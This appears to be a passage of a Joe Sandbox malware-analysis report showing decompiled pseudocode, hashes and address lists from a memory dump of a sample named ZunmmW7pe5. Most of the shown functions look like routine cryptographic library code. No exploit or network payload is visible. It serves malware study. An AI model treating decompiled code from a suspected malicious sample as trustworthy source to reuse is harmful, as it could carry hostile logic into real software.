0x7ff7e371d975
0x7ff7e371d97c
0x7ff7e371d97f
0x7ff7e371d983
0x7ff7e371d98e
0x7ff7e371d999
0x7ff7e371d9a3
0x7ff7e371d9ad
0x7ff7e371d9b7
0x7ff7e371d9be
0x7ff7e371d9c5
0x7ff7e371d9c8
0x7ff7e371d9cc
0x7ff7e371d9d7
0x7ff7e371d9e2
0x7ff7e371d9ec
0x7ff7e371d9f6
0x7ff7e371da00
0x7ff7e371da07
0x7ff7e371da0e
0x7ff7e371da11
0x7ff7e371da15
0x7ff7e371da20
0x7ff7e371da2b
0x7ff7e371da35
0x7ff7e371da3f
0x7ff7e371da49
0x7ff7e371da50
0x7ff7e371da57
0x7ff7e371da5a
0x7ff7e371da5e
0x7ff7e371da69
0x7ff7e371da74
0x7ff7e371da7e
0x7ff7e371da88
0x7ff7e371da92
0x7ff7e371da99
0x7ff7e371daa3
0x7ff7e371daad
0x7ff7e371dab0
0x7ff7e371dab4
0x7ff7e371dabf
0x7ff7e371daca
0x7ff7e371dad4
0x7ff7e371dade
0x7ff7e371dae8
0x7ff7e371daef
0x7ff7e371daf6
0x7ff7e371daf9
0x7ff7e371dafd
0x7ff7e371db08
0x7ff7e371db13
0x7ff7e371db1d
0x7ff7e371db27
0x7ff7e371db31
0x7ff7e371db38
0x7ff7e371db4c

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b9e01b3c8571d63eb5968703356d6abd6380dc2b0d5dca5f6f15e06b5818e9d
Instruction ID: efe470fbae730d5db1bc7c78512c81fbaad43fcb3fd8ae4c6d9c8ee6319bf7a3
Opcode Fuzzy Hash: 0b9e01b3c8571d63eb5968703356d6abd6380dc2b0d5dca5f6f15e06b5818e9d
Instruction Fuzzy Hash: 1FC11C1321A3D89FDB16CFBD858059D3FB0F32AB44B48619ADB8857B07C618E6B4C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371BAF0 Relevance: .2, Instructions: 246
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E371BAF0(void* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16) {
				void* _t107;
				signed long long _t158;
				long long* _t162;
				long long* _t163;
				long long* _t164;
				long long* _t165;
				long long* _t166;
				long long* _t167;
				long long* _t168;
				long long* _t169;
				long long* _t170;
				long long* _t171;
				long long* _t172;
				long long* _t173;
				long long* _t174;
				void* _t175;
				void* _t176;
				intOrPtr* _t177;
				void* _t179;
				intOrPtr* _t207;
				intOrPtr* _t208;
				intOrPtr* _t209;
				intOrPtr* _t210;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t213;
				intOrPtr* _t214;
				intOrPtr* _t215;
				intOrPtr* _t216;
				intOrPtr* _t217;
				intOrPtr* _t218;

				_t179 = __rcx;
				if (__rcx == 0) goto 0xe371be7e;
				_a8 = __rsi;
				_t176 = __rcx;
				_a16 = __rdi;
				_t3 = _t179 + 0x118; // 0x19335136428
				_t207 = _t3;
				if (_t207 == 0) goto 0xe371bb51;
				if ( *((intOrPtr*)(_t207 + 0x10)) == 0) goto 0xe371bb43;
				if ( *(_t207 + 8) << 3 == 0) goto 0xe371bb3a;
				_t162 =  *0xe3754598; // 0x7ff7e373b860
				 *_t162(_t175);
				E00007FF77FF7E373FEDC(_t162,  *((intOrPtr*)(_t207 + 0x10)));
				 *_t207 = 1;
				 *(_t207 + 8) = __rsi;
				 *((long long*)(_t207 + 0x10)) = __rsi;
				_t9 = _t176 + 0x130; // 0x19335136440
				_t208 = _t9;
				if (_t208 == 0) goto 0xe371bb95;
				if ( *((intOrPtr*)(_t208 + 0x10)) == 0) goto 0xe371bb87;
				if ( *(_t208 + 8) << 3 == 0) goto 0xe371bb7e;
				_t163 =  *0xe3754598; // 0x7ff7e373b860
				 *_t163();
				E00007FF77FF7E373FEDC(_t163,  *((intOrPtr*)(_t208 + 0x10)));
				 *_t208 = 1;
				 *(_t208 + 8) = __rsi;
				 *((long long*)(_t208 + 0x10)) = __rsi;
				_t15 = _t176 + 0xd0; // 0x193351363e0
				_t209 = _t15;
				if (_t209 == 0) goto 0xe371bbd9;
				if ( *((intOrPtr*)(_t209 + 0x10)) == 0) goto 0xe371bbcb;
				if ( *(_t209 + 8) << 3 == 0) goto 0xe371bbc2;
				_t164 =  *0xe3754598; // 0x7ff7e373b860
				 *_t164();
				E00007FF77FF7E373FEDC(_t164,  *((intOrPtr*)(_t209 + 0x10)));
				 *_t209 = 1;
				 *(_t209 + 8) = __rsi;
				 *((long long*)(_t209 + 0x10)) = __rsi;
				_t21 = _t176 + 0x40; // 0x19335136350
				_t210 = _t21;
				if (_t210 == 0) goto 0xe371bc1a;
				if ( *((intOrPtr*)(_t210 + 0x10)) == 0) goto 0xe371bc0c;
				if ( *(_t210 + 8) << 3 == 0) goto 0xe371bc03;
				_t165 =  *0xe3754598; // 0x7ff7e373b860
				 *_t165();
				E00007FF77FF7E373FEDC(_t165,  *((intOrPtr*)(_t210 + 0x10)));
				 *_t210 = 1;
				 *(_t210 + 8) = __rsi;
				 *((long long*)(_t210 + 0x10)) = __rsi;
				_t27 = _t176 + 0x70; // 0x19335136380
				_t211 = _t27;
				if (_t211 == 0) goto 0xe371bc5b;
				if ( *((intOrPtr*)(_t211 + 0x10)) == 0) goto 0xe371bc4d;
				if ( *(_t211 + 8) << 3 == 0) goto 0xe371bc44;
				_t166 =  *0xe3754598; // 0x7ff7e373b860
				 *_t166();
				E00007FF77FF7E373FEDC(_t166,  *((intOrPtr*)(_t211 + 0x10)));
				 *_t211 = 1;
				 *(_t211 + 8) = __rsi;
				 *((long long*)(_t211 + 0x10)) = __rsi;
				_t33 = _t176 + 0x58; // 0x19335136368
				_t212 = _t33;
				if (_t212 == 0) goto 0xe371bc9c;
				if ( *((intOrPtr*)(_t212 + 0x10)) == 0) goto 0xe371bc8e;
				if ( *(_t212 + 8) << 3 == 0) goto 0xe371bc85;
				_t167 =  *0xe3754598; // 0x7ff7e373b860
				 *_t167();
				E00007FF77FF7E373FEDC(_t167,  *((intOrPtr*)(_t212 + 0x10)));
				 *_t212 = 1;
				 *(_t212 + 8) = __rsi;
				 *((long long*)(_t212 + 0x10)) = __rsi;
				_t39 = _t176 + 0x28; // 0x19335136338
				_t213 = _t39;
				if (_t213 == 0) goto 0xe371bcdd;
				if ( *((intOrPtr*)(_t213 + 0x10)) == 0) goto 0xe371bccf;
				if ( *(_t213 + 8) << 3 == 0) goto 0xe371bcc6;
				_t168 =  *0xe3754598; // 0x7ff7e373b860
				 *_t168();
				E00007FF77FF7E373FEDC(_t168,  *((intOrPtr*)(_t213 + 0x10)));
				 *_t213 = 1;
				 *(_t213 + 8) = __rsi;
				 *((long long*)(_t213 + 0x10)) = __rsi;
				_t45 = _t176 + 0x10; // 0x19335136320
				_t214 = _t45;
				if (_t214 == 0) goto 0xe371bd1e;
				if ( *((intOrPtr*)(_t214 + 0x10)) == 0) goto 0xe371bd10;
				if ( *(_t214 + 8) << 3 == 0) goto 0xe371bd07;
				_t169 =  *0xe3754598; // 0x7ff7e373b860
				 *_t169();
				E00007FF77FF7E373FEDC(_t169,  *((intOrPtr*)(_t214 + 0x10)));
				 *_t214 = 1;
				 *(_t214 + 8) = __rsi;
				 *((long long*)(_t214 + 0x10)) = __rsi;
				_t51 = _t176 + 0x100; // 0x19335136410
				_t215 = _t51;
				if (_t215 == 0) goto 0xe371bd62;
				if ( *((intOrPtr*)(_t215 + 0x10)) == 0) goto 0xe371bd54;
				if ( *(_t215 + 8) << 3 == 0) goto 0xe371bd4b;
				_t170 =  *0xe3754598; // 0x7ff7e373b860
				 *_t170();
				E00007FF77FF7E373FEDC(_t170,  *((intOrPtr*)(_t215 + 0x10)));
				 *_t215 = 1;
				 *(_t215 + 8) = __rsi;
				 *((long long*)(_t215 + 0x10)) = __rsi;
				_t57 = _t176 + 0xe8; // 0x193351363f8
				_t216 = _t57;
				if (_t216 == 0) goto 0xe371bda6;
				if ( *((intOrPtr*)(_t216 + 0x10)) == 0) goto 0xe371bd98;
				if ( *(_t216 + 8) << 3 == 0) goto 0xe371bd8f;
				_t171 =  *0xe3754598; // 0x7ff7e373b860
				 *_t171();
				E00007FF77FF7E373FEDC(_t171,  *((intOrPtr*)(_t216 + 0x10)));
				 *_t216 = 1;
				 *(_t216 + 8) = __rsi;
				 *((long long*)(_t216 + 0x10)) = __rsi;
				_t63 = _t176 + 0xb8; // 0x193351363c8
				_t217 = _t63;
				if (_t217 == 0) goto 0xe371bdea;
				if ( *((intOrPtr*)(_t217 + 0x10)) == 0) goto 0xe371bddc;
				if ( *(_t217 + 8) << 3 == 0) goto 0xe371bdd3;
				_t172 =  *0xe3754598; // 0x7ff7e373b860
				 *_t172();
				E00007FF77FF7E373FEDC(_t172,  *((intOrPtr*)(_t217 + 0x10)));
				 *_t217 = 1;
				 *(_t217 + 8) = __rsi;
				 *((long long*)(_t217 + 0x10)) = __rsi;
				_t69 = _t176 + 0xa0; // 0x193351363b0
				_t218 = _t69;
				if (_t218 == 0) goto 0xe371be2e;
				if ( *((intOrPtr*)(_t218 + 0x10)) == 0) goto 0xe371be20;
				_t158 =  *(_t218 + 8) << 3;
				if (_t158 == 0) goto 0xe371be17;
				_t173 =  *0xe3754598; // 0x7ff7e373b860
				 *_t173();
				E00007FF77FF7E373FEDC(_t173,  *((intOrPtr*)(_t218 + 0x10)));
				 *_t218 = 1;
				 *(_t218 + 8) = __rsi;
				 *((long long*)(_t218 + 0x10)) = __rsi;
				_t177 = _t176 + 0x88;
				if (_t158 == 0) goto 0xe371be74;
				if ( *((intOrPtr*)(_t177 + 0x10)) == 0) goto 0xe371be66;
				if ( *(_t177 + 8) << 3 == 0) goto 0xe371be5d;
				_t174 =  *0xe3754598; // 0x7ff7e373b860
				 *_t174();
				_t107 = E00007FF77FF7E373FEDC(_t174,  *((intOrPtr*)(_t177 + 0x10)));
				 *_t177 = 1;
				 *(_t177 + 8) = __rsi;
				 *((long long*)(_t177 + 0x10)) = __rsi;
				return _t107;
			}

0x7ff7e371baf0
0x7ff7e371baf3
0x7ff7e371bafe
0x7ff7e371bb03
0x7ff7e371bb06
0x7ff7e371bb0d
0x7ff7e371bb0d
0x7ff7e371bb17
0x7ff7e371bb20
0x7ff7e371bb2d
0x7ff7e371bb2f
0x7ff7e371bb38
0x7ff7e371bb3e
0x7ff7e371bb43
0x7ff7e371bb49
0x7ff7e371bb4d
0x7ff7e371bb51
0x7ff7e371bb51
0x7ff7e371bb5b
0x7ff7e371bb64
0x7ff7e371bb71
0x7ff7e371bb73
0x7ff7e371bb7c
0x7ff7e371bb82
0x7ff7e371bb87
0x7ff7e371bb8d
0x7ff7e371bb91
0x7ff7e371bb95
0x7ff7e371bb95
0x7ff7e371bb9f
0x7ff7e371bba8
0x7ff7e371bbb5
0x7ff7e371bbb7
0x7ff7e371bbc0
0x7ff7e371bbc6
0x7ff7e371bbcb
0x7ff7e371bbd1
0x7ff7e371bbd5
0x7ff7e371bbd9
0x7ff7e371bbd9
0x7ff7e371bbe0
0x7ff7e371bbe9
0x7ff7e371bbf6
0x7ff7e371bbf8
0x7ff7e371bc01
0x7ff7e371bc07
0x7ff7e371bc0c
0x7ff7e371bc12
0x7ff7e371bc16
0x7ff7e371bc1a
0x7ff7e371bc1a
0x7ff7e371bc21
0x7ff7e371bc2a
0x7ff7e371bc37
0x7ff7e371bc39
0x7ff7e371bc42
0x7ff7e371bc48
0x7ff7e371bc4d
0x7ff7e371bc53
0x7ff7e371bc57
0x7ff7e371bc5b
0x7ff7e371bc5b
0x7ff7e371bc62
0x7ff7e371bc6b
0x7ff7e371bc78
0x7ff7e371bc7a
0x7ff7e371bc83
0x7ff7e371bc89
0x7ff7e371bc8e
0x7ff7e371bc94
0x7ff7e371bc98
0x7ff7e371bc9c
0x7ff7e371bc9c
0x7ff7e371bca3
0x7ff7e371bcac
0x7ff7e371bcb9
0x7ff7e371bcbb
0x7ff7e371bcc4
0x7ff7e371bcca
0x7ff7e371bccf
0x7ff7e371bcd5
0x7ff7e371bcd9
0x7ff7e371bcdd
0x7ff7e371bcdd
0x7ff7e371bce4
0x7ff7e371bced
0x7ff7e371bcfa
0x7ff7e371bcfc
0x7ff7e371bd05
0x7ff7e371bd0b
0x7ff7e371bd10
0x7ff7e371bd16
0x7ff7e371bd1a
0x7ff7e371bd1e
0x7ff7e371bd1e
0x7ff7e371bd28
0x7ff7e371bd31
0x7ff7e371bd3e
0x7ff7e371bd40
0x7ff7e371bd49
0x7ff7e371bd4f
0x7ff7e371bd54
0x7ff7e371bd5a
0x7ff7e371bd5e
0x7ff7e371bd62
0x7ff7e371bd62
0x7ff7e371bd6c
0x7ff7e371bd75
0x7ff7e371bd82
0x7ff7e371bd84
0x7ff7e371bd8d
0x7ff7e371bd93
0x7ff7e371bd98
0x7ff7e371bd9e
0x7ff7e371bda2
0x7ff7e371bda6
0x7ff7e371bda6
0x7ff7e371bdb0
0x7ff7e371bdb9
0x7ff7e371bdc6
0x7ff7e371bdc8
0x7ff7e371bdd1
0x7ff7e371bdd7
0x7ff7e371bddc
0x7ff7e371bde2
0x7ff7e371bde6
0x7ff7e371bdea
0x7ff7e371bdea
0x7ff7e371bdf4
0x7ff7e371bdfd
0x7ff7e371be07
0x7ff7e371be0a
0x7ff7e371be0c
0x7ff7e371be15
0x7ff7e371be1b
0x7ff7e371be20
0x7ff7e371be26
0x7ff7e371be2a
0x7ff7e371be33
0x7ff7e371be3a
0x7ff7e371be43
0x7ff7e371be50
0x7ff7e371be52
0x7ff7e371be5b
0x7ff7e371be61
0x7ff7e371be66
0x7ff7e371be6c
0x7ff7e371be70
0x7ff7e371be7e

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ebd6bb423a82399c3830ce8271dbf71ba9100027d58e97bd7a65670cd8dd338
Instruction ID: 470526800c26fe20c2a5b5c95505b48db2a4db6db484f901560e904c1aa7ae2a
Opcode Fuzzy Hash: 8ebd6bb423a82399c3830ce8271dbf71ba9100027d58e97bd7a65670cd8dd338
Instruction Fuzzy Hash: E9B13E7261578196E798EF61D680368BBA4FF88B80F494437DB2C67A45CF38E4B1C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371A820 Relevance: .2, Instructions: 232
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E371A820(void* __rcx, void* __rdx) {

				if ( *((intOrPtr*)(__rcx + 0x148)) == 1) goto 0xe371a843;
				return 0xffffbf80;
			}

0x7ff7e371a834
0x7ff7e371a842

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57431b16a8326507a2aa15c6c0d220c99a5e884a973a43a52b7c4189ba32d052
Instruction ID: 7558c3398d32f7e4af269e93dee5b43f266c0f0c0943f52abdd15f165af0accd
Opcode Fuzzy Hash: 57431b16a8326507a2aa15c6c0d220c99a5e884a973a43a52b7c4189ba32d052
Instruction Fuzzy Hash: 3F91E662B1DAC641DBA1AB35A0413AAFB91FF89794F804233DADD63B95DF3CD0508714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37388D0 Relevance: .2, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E37388D0(long long __rax, signed int* __rcx, long long __rdx, void* __r8, void* __r9, long long __r10, long long __r11, long long __r14, long long _a8, long long _a16, long long _a24) {
				long long _v64;
				long long _v72;
				long long _v80;
				signed int _t85;
				long long _t129;
				long long* _t183;
				void* _t218;

				r10d = __rcx[1];
				r11d = __rcx[2];
				r9d = r11d;
				r8d = __rcx[8];
				r12d = __rcx[0xc];
				r9d = r9d >> 2;
				r9d = r9d + r11d;
				if (__rdx == 0) goto 0xe3738b92;
				_v72 = __rdx;
				_t218 = __r8 + 2;
				 *_t183 = __rdx;
				_a24 = __r14;
				_a16 = __rax;
				_a8 = __r10;
				_v80 = __r11;
				_v64 = _t129;
				r9d =  *(_t218 + 5) & 0x000000ff;
				r8d =  *(_t218 + 9) & 0x000000ff;
				r10d = r9d;
				r9d =  *(_t218 + 1) & 0x000000ff;
				r11d =  *(_t218 + 0xd) & 0x000000ff;
				_t85 =  *__rcx;
				r14d = r14d + 1;
				r14d = r14d + r12d;
				r8d = r14d;
				r14d = r14d *  *__rcx;
				r9d = 0xfffffffc;
				r14d = r14d +  *__rcx;
				r8d = r14d;
				r14d = r14d & 0x00000003;
				r12d = r12d + r14d;
				if (__rdx - 1 != 0) goto 0xe3738950;
				__rcx[8] = r8d;
				__rcx[9] = r8d;
				__rcx[0xb] = _t85;
				__rcx[0xc] = r12d;
				return _t85;
			}

0x7ff7e37388df
0x7ff7e37388e6
0x7ff7e37388f0
0x7ff7e37388fe
0x7ff7e3738905
0x7ff7e373890c
0x7ff7e3738916
0x7ff7e373891e
0x7ff7e3738924
0x7ff7e3738929
0x7ff7e3738930
0x7ff7e3738934
0x7ff7e3738939
0x7ff7e373893e
0x7ff7e3738943
0x7ff7e3738948
0x7ff7e3738959
0x7ff7e373898d
0x7ff7e37389d0
0x7ff7e37389f5
0x7ff7e3738a3c
0x7ff7e3738a3f
0x7ff7e3738a4f
0x7ff7e3738a55
0x7ff7e3738a65
0x7ff7e3738ac5
0x7ff7e3738aea
0x7ff7e3738b39
0x7ff7e3738b42
0x7ff7e3738b49
0x7ff7e3738b80
0x7ff7e3738b87
0x7ff7e3738b92
0x7ff7e3738b96
0x7ff7e3738b9c
0x7ff7e3738b9f
0x7ff7e3738bb1

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0b53b99de833ab383c858a140c7cffb59d76daba0503717e23d7f49c152570
Instruction ID: b9996c05d16f16f166cafdb694dd87a787adeed9dc52098ecf1d852747b286b4
Opcode Fuzzy Hash: cf0b53b99de833ab383c858a140c7cffb59d76daba0503717e23d7f49c152570
Instruction Fuzzy Hash: C16107A2B063E44BCB504B0E7C45659FBE5F39C7C5B09A026EE9C97B65E53CDA11CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3716920 Relevance: .2, Instructions: 204
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF7E3716920(void* __ecx, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8, signed int __r10, void* __r11) {
				void* __rdi;
				intOrPtr _t106;
				signed int _t112;
				signed int _t118;
				signed int _t124;
				signed int _t126;
				signed int _t132;
				signed int _t137;
				signed int _t142;
				signed int _t148;
				signed int _t150;
				signed int _t156;
				unsigned int _t159;
				void* _t169;
				long long _t171;
				signed int* _t172;
				signed int* _t173;
				signed int* _t174;
				void* _t183;
				long long _t195;
				void* _t198;

				 *((long long*)(_t198 + 8)) = __rbx;
				 *((long long*)(_t198 + 0x10)) = _t195;
				 *((long long*)(_t198 + 0x18)) = __rsi;
				_push(_t183);
				if (__eflags == 0) goto 0xe371696e;
				if (__eflags == 0) goto 0xe3716966;
				if (r8d - 0x40 == 0x40) goto 0xe371695e;
				goto 0xe3716c0c;
				 *__rcx = 0xe;
				goto 0xe3716970;
				 *__rcx = 0xc;
				goto 0xe3716970;
				 *__rcx = 0xa;
				if ( *0xe3769390 != 0) goto 0xe3716988;
				E00007FF77FF7E3716640(__ecx, __rdx, __rdx, _t183, __rcx, _t195, __r10, __r11);
				 *0xe3769390 = 1;
				_t159 = r8d >> 5;
				_t171 = __rcx + 0x10;
				r10d = 0;
				 *((long long*)(__rcx + 8)) = _t171;
				if (_t159 == 0) goto 0xe37169f2;
				r8d = __r10 * 4;
				r9d =  *(__rcx + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r10d = r10d + 1;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				 *(_t171 + 4 - 4) = r9d;
				if (r10d - _t159 < 0) goto 0xe37169a0;
				_t106 =  *__rcx;
				if (_t106 == 0xa) goto 0xe3716b8c;
				if (_t106 == 0xc) goto 0xe3716aed;
				_t169 = _t106 - 0xe;
				if (_t169 != 0) goto 0xe3716c0a;
				r11d =  *(_t171 + 0x1c);
				_t172 = _t171 + 0x20;
				r8d =  *(__rcx + 0xe3769470) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r8d = r8d ^  *0x7FF7E3769A70;
				r8d = r8d ^  *(_t172 - 0x20);
				_t112 =  *(_t172 - 0x1c) ^ r8d;
				_t137 =  *(_t172 - 0x18) ^ _t112;
				_t172[1] = _t112;
				_t172[2] = _t137;
				 *_t172 = r8d;
				r8d =  *(_t172 - 0x14);
				r8d = r8d ^ _t137;
				_t172[3] = r8d;
				r9d =  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d ^  *(_t172 - 0x10);
				_t118 =  *(_t172 - 0xc) ^ r9d;
				_t142 =  *(_t172 - 8) ^ _t118;
				_t172[4] = r9d;
				_t172[6] = _t142;
				_t172[7] = _t142 ^ r11d;
				_t172[5] = _t118;
				if (_t169 != 0) goto 0xe3716a20;
				goto 0xe3716c0a;
				r11d = 8;
				asm("o16 nop [eax+eax]");
				r10d = _t172[5];
				_t173 =  &(_t172[6]);
				r9d =  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d ^  *(_t173 - 0x18);
				r9d = r9d ^  *0x7FF7E3769A70;
				_t124 =  *(_t173 - 0x14) ^ r9d;
				_t148 =  *(_t173 - 0x10) ^ _t124;
				_t173[1] = _t124;
				_t126 =  *(_t173 - 0xc) ^ _t148;
				_t173[2] = _t148;
				_t150 =  *(_t173 - 8) ^ _t126;
				 *_t173 = r9d;
				_t173[4] = _t150;
				_t173[5] = _t150 ^ r10d;
				_t173[3] = _t126;
				if (_t169 != 0) goto 0xe3716b10;
				goto 0xe3716c0a;
				asm("o16 nop [eax+eax]");
				r10d = _t173[3];
				_t174 =  &(_t173[4]);
				r9d =  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d ^  *(__rcx + 0xe3769470) & 0x000000ff;
				r9d = r9d ^  *(_t174 - 0x10);
				r9d = r9d ^  *0x7FF7E3769A70;
				_t132 =  *(_t174 - 0xc) ^ r9d;
				_t156 =  *(_t174 - 8) ^ _t132;
				 *_t174 = r9d;
				_t174[2] = _t156;
				_t174[3] = _t156 ^ r10d;
				_t174[1] = _t132;
				if (_t169 != 0) goto 0xe3716ba0;
				return 0;
			}

0x7ff7e3716920
0x7ff7e3716925
0x7ff7e371692a
0x7ff7e371692f
0x7ff7e371694a
0x7ff7e371694f
0x7ff7e3716954
0x7ff7e3716959
0x7ff7e371695e
0x7ff7e3716964
0x7ff7e3716966
0x7ff7e371696c
0x7ff7e371696e
0x7ff7e3716977
0x7ff7e3716979
0x7ff7e371697e
0x7ff7e3716988
0x7ff7e371698b
0x7ff7e371698f
0x7ff7e3716992
0x7ff7e3716998
0x7ff7e37169a0
0x7ff7e37169ac
0x7ff7e37169b5
0x7ff7e37169c1
0x7ff7e37169c8
0x7ff7e37169d0
0x7ff7e37169db
0x7ff7e37169df
0x7ff7e37169e6
0x7ff7e37169e9
0x7ff7e37169f0
0x7ff7e37169f2
0x7ff7e37169f6
0x7ff7e37169ff
0x7ff7e3716a05
0x7ff7e3716a08
0x7ff7e3716a20
0x7ff7e3716a24
0x7ff7e3716a30
0x7ff7e3716a39
0x7ff7e3716a45
0x7ff7e3716a48
0x7ff7e3716a54
0x7ff7e3716a57
0x7ff7e3716a62
0x7ff7e3716a65
0x7ff7e3716a69
0x7ff7e3716a70
0x7ff7e3716a73
0x7ff7e3716a75
0x7ff7e3716a78
0x7ff7e3716a7b
0x7ff7e3716a7e
0x7ff7e3716a82
0x7ff7e3716a85
0x7ff7e3716a8d
0x7ff7e3716a96
0x7ff7e3716aa2
0x7ff7e3716aa5
0x7ff7e3716aad
0x7ff7e3716ab4
0x7ff7e3716abf
0x7ff7e3716ac2
0x7ff7e3716ac9
0x7ff7e3716acc
0x7ff7e3716ace
0x7ff7e3716ad2
0x7ff7e3716ad8
0x7ff7e3716adb
0x7ff7e3716ae2
0x7ff7e3716ae8
0x7ff7e3716af4
0x7ff7e3716b05
0x7ff7e3716b10
0x7ff7e3716b14
